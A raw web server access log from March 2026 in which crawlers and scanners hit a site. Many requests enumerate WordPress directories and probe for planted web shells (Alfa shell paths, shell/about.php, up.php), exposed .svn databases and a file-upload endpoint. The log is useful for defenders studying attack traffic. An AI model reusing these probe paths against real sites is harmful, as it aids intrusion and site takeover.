Chrome/120.0.0.0 Safari/537.36" 44.195.147.130 - - [19/Mar/2026:19:10:38 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 69.171.231.1 - - [19/Mar/2026:20:54:15 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.156.37.79 - - [19/Mar/2026:21:47:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)" 95.111.251.26 - - [19/Mar/2026:21:55:25 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 160.187.100.8 - - [19/Mar/2026:20:16:46 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 98.94.108.79 - - [19/Mar/2026:22:13:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 5.175.189.25 - - [19/Mar/2026:21:23:03 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 74.7.242.61 - - [19/Mar/2026:21:33:38 +0300] "GET / HTTP/1.1" 301 795 "http://www.yesdomains.space" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.244.9 - - [19/Mar/2026:21:33:13 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 141.98.11.224 - - [19/Mar/2026:21:56:05 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 43.130.174.37 - - [19/Mar/2026:20:15:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.193.108 - - [19/Mar/2026:21:11:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.89.60.68 - - [19/Mar/2026:23:14:13 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 182.42.105.85 - - [19/Mar/2026:22:52:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 147.185.132.108 - - [19/Mar/2026:22:53:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 45.148.10.159 - - [20/Mar/2026:00:08:50 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:19 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:42 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:26 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:39 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:42 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:45 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:38 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:40 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:42 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:45 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:49 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:15 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:17 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:21 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:35 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:37 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:41 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:41 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:44 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:03 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:07 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:25 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:29 +0300] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:30 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:34 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:31 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:55 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:49 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:49 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:52 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:52 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:52 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:52 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:52 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:52 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:53 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:53 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:53 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:55 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:55 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:55 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:55 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:55 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:55 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:56 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:56 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:56 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:39 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:41 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:51 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:58 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:01 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:07 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:10 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:12:30 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:20 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:20 +0300] "GET /wp-content/plugins/woocommerce/assets/js/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:23 +0300] "GET /wp-content/plugins/woocommerce/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:51 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:51 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:51 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:51 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:51 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:04 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:12 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:32 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 45.148.10.159 - - [20/Mar/2026:00:08:30 +0300] "GET /.svn/wc.db HTTP/1.1" 403 787 "-" "Mozilla/5.0" 45.148.10.159 - - [20/Mar/2026:00:08:34 +0300] "GET /.svn/entries HTTP/1.1" 403 787 "-" "Mozilla/5.0" 146.70.160.254 - - [20/Mar/2026:00:09:43 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:44 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:44 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:44 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:44 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:44 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:44 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:44 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:44 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:06 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:14 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:18 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:21 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:23 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:15:00 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 45.148.10.159 - - [20/Mar/2026:00:08:28 +0300] "GET /.svn/wc.db HTTP/1.1" 403 787 "-" "Mozilla/5.0" 146.70.160.254 - - [20/Mar/2026:00:09:51 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:54 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:56 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:59 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:59 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:59 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:59 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:59 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:59 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:09:59 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:00 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:56 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:13:56 +0300] "GET /wp-content/plugins/wordpress-seo/js/dist/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:06 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:09 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:12 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:12 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:10:12 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:11:33 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 146.70.160.254 - - [20/Mar/2026:00:14:28 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.55.58.190 - - [20/Mar/2026:00:35:01 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 84.246.85.11 - - [20/Mar/2026:01:15:20 +0300] "GET / HTTP/1.1" 301 795 "-" "2ip bot/1.1 (+https://2ip.io)" 84.246.85.11 - - [20/Mar/2026:01:15:20 +0300] "GET / HTTP/1.1" 301 795 "-" "2ip bot/1.1 (+https://2ip.io)" 20.63.83.113 - - [20/Mar/2026:00:48:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 23.22.72.142 - - [20/Mar/2026:00:48:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 124.156.157.91 - - [20/Mar/2026:01:56:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 84.246.85.11 - - [20/Mar/2026:01:15:20 +0300] "GET / HTTP/1.1" 301 795 "-" "2ip bot/1.1 (+https://2ip.io)" 45.131.155.111 - - [20/Mar/2026:02:24:04 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 43.130.78.203 - - [20/Mar/2026:02:36:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 213.111.157.176 - - [20/Mar/2026:03:22:14 +0300] "GET /wp-content/plugins/whmcs-bridge/cc.css HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 165.232.190.108 - - [20/Mar/2026:02:33:13 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 192.144.148.122 - - [20/Mar/2026:05:24:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.91.103.84 - - [20/Mar/2026:06:36:07 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.153.119.119 - - [20/Mar/2026:08:02:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.91.103.84 - - [20/Mar/2026:06:35:33 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.153.123.4 - - [20/Mar/2026:07:04:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.91.103.84 - - [20/Mar/2026:06:35:03 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 157.245.110.63 - - [20/Mar/2026:09:18:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 157.15.40.88 - - [20/Mar/2026:08:15:09 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.26.192.33 - - [20/Mar/2026:08:35:18 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.26.192.33 - - [20/Mar/2026:08:35:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.26.192.33 - - [20/Mar/2026:08:35:18 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 194.26.192.33 - - [20/Mar/2026:08:35:55 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.26.192.33 - - [20/Mar/2026:08:35:18 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 75.119.145.171 - - [20/Mar/2026:08:49:29 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 157.245.110.63 - - [20/Mar/2026:09:18:46 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://www.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 185.193.157.211 - - [20/Mar/2026:08:49:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.26.192.33 - - [20/Mar/2026:08:35:18 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 192.36.109.123 - - [20/Mar/2026:08:47:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123" 161.115.234.141 - - [20/Mar/2026:09:36:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 199.45.154.113 - - [20/Mar/2026:10:19:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 87.121.84.97 - - [20/Mar/2026:10:54:04 +0300] "GET /assets/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 182.44.2.148 - - [20/Mar/2026:12:13:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.70.193.254 - - [20/Mar/2026:10:45:13 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)" 3.70.193.254 - - [20/Mar/2026:10:45:14 +0300] "HEAD / HTTP/1.1" 301 0 "-" "CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)" 74.243.251.125 - - [20/Mar/2026:13:34:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 103.244.107.140 - - [20/Mar/2026:12:37:31 +0300] "GET /wp-content/plugins/user-registration/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.133 Safari/537.36" 43.135.186.135 - - [20/Mar/2026:14:01:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 49.51.72.76 - - [20/Mar/2026:13:12:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 115.45.42.169 - - [20/Mar/2026:14:49:14 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.3286.40 Safari/537.36 LBBROWSER" 116.179.32.69 - - [20/Mar/2026:14:04:53 +0300] "GET /weekend-loans/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 3.95.189.144 - - [20/Mar/2026:16:09:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 210.223.44.230 - - [20/Mar/2026:16:08:58 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 3.95.189.144 - - [20/Mar/2026:16:09:44 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" 2.58.56.187 - - [20/Mar/2026:15:35:03 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 157.180.53.124 - - [20/Mar/2026:17:40:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" 157.180.53.124 - - [20/Mar/2026:17:40:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0" 178.212.144.7 - - [20/Mar/2026:18:09:48 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 